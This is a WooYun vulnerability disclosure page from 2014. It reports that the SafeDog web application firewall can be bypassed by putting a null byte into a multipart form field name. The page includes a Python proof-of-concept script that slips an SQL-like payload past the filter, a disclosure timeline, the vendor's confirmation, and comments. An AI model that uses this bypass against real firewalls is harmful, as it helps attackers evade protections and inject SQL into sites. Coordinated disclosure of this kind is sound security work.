当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-087545

漏洞标题：安全狗另外一种方式防御规则bypass

相关厂商：安全狗

漏洞作者： MayIKissYou

提交时间：2014-12-17 16:53

修复时间：2015-01-31 16:54

公开时间：2015-01-31 16:54

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：12

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-12-17： 细节已通知厂商并且等待厂商处理中
2014-12-17： 厂商已经确认，细节仅向厂商公开
2014-12-27： 细节向核心白帽子及相关领域专家公开
2015-01-06： 细节向普通白帽子公开
2015-01-16： 细节向实习白帽子公开
2015-01-31： 细节向公众公开

简要描述：

安全狗某处处理不当，导致防御可被绕过

详细说明：

1：昨天测试的时候使用了长度的方式貌似绕过了安全狗防御，今天测试的时候发现截断貌似也可以绕过安全狗的防御。
2：使用wamp搭建一个web环境，并且使用安全狗网站防护的最新版本3.1.09833
3：使用测试代码：

import urllib2
url = "http://192.168.4.70/a.php"
header = {
    'User-Agent' : 'letmetest',
	'Content-Type' : 'multipart/form-data; boundary=----WebKitFormBoundarycMYRelX1B2H69xy9'
}
def getdata(m):
    return "1"*m
def postdata(n):
    data = '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
#    data += 'Content-Disposition: form-data; name="file"\r\n\r\n'
 #   data += '%s\r\n' %  "121212112121"
 #   data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
	
#    data += 'Content-Disposition: form-data; name="file"; filename="a.jpg\x00.aa"\r\n'
    
#    data += 'Content-Type: text/plain\r\n\r\n'
    
#    data += 'abc%23\r\n'
    data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
    data += 'Content-Disposition: form-data; name="\x00test"\r\n\r\n'
    data += '%27abcd\r\n'
    data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
    data += 'Content-Disposition: form-data; name="submit"\r\n\r\n'
    data += 'select 1 from table\r\n'
	
    data += '------WebKitFormBoundarycMYRelX1B2H69xy9--\r\n\r\n'
    return data
proxy = "http://127.0.0.1:8080"
opener = urllib2.build_opener(urllib2.ProxyHandler({'http':proxy}))
urllib2.install_opener(opener)
request = urllib2.Request(url,postdata(10),header)
response = urllib2.urlopen(request).read()
print response


注意此处name处的\x00，分别测试添加和不添加的情况。
4：添加的时候的结果：

tianjia.png


直接显示我的提交的内容了
不添加\x00的时候的结果：

butianjia.jpg


提示被安全狗拦截了
5：看样子由于我的截断导致了安全狗对于select 1 from table内容没有检测。

漏洞证明：

4：添加\x00时候的结果：

tianjia.png


直接显示我的提交的内容了
不添加\x00的时候的结果：

butianjia.jpg


提示被安全狗拦截了

修复方案：

对于特殊内容进行处理

版权声明：转载请注明来源 MayIKissYou@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：4

确认时间：2014-12-17 17:58

厂商回复：

近期会发布修复规则，感谢提交问题

最新状态：

暂无

漏洞评价：

评论

  1. 2015-01-31 16:59 | Jumbo ( 普通白帽子 | Rank:111 漏洞数:29 | 猫 - http://www.chinabaiker.com)

    可以xx.php\x00？

  2. 2015-02-11 13:46 | MayIKissYou ( 普通白帽子 | Rank:195 漏洞数:33 | 勿忘初心)

    @Jumbo 这里是因为安全狗内部处理00没处理好，任意位置输入应该都可以的

  3. 2015-03-31 23:32 | 泪雨无魂 ( 实习白帽子 | Rank:94 漏洞数:32 )

    直接xx.php\x00 就绕过狗了？？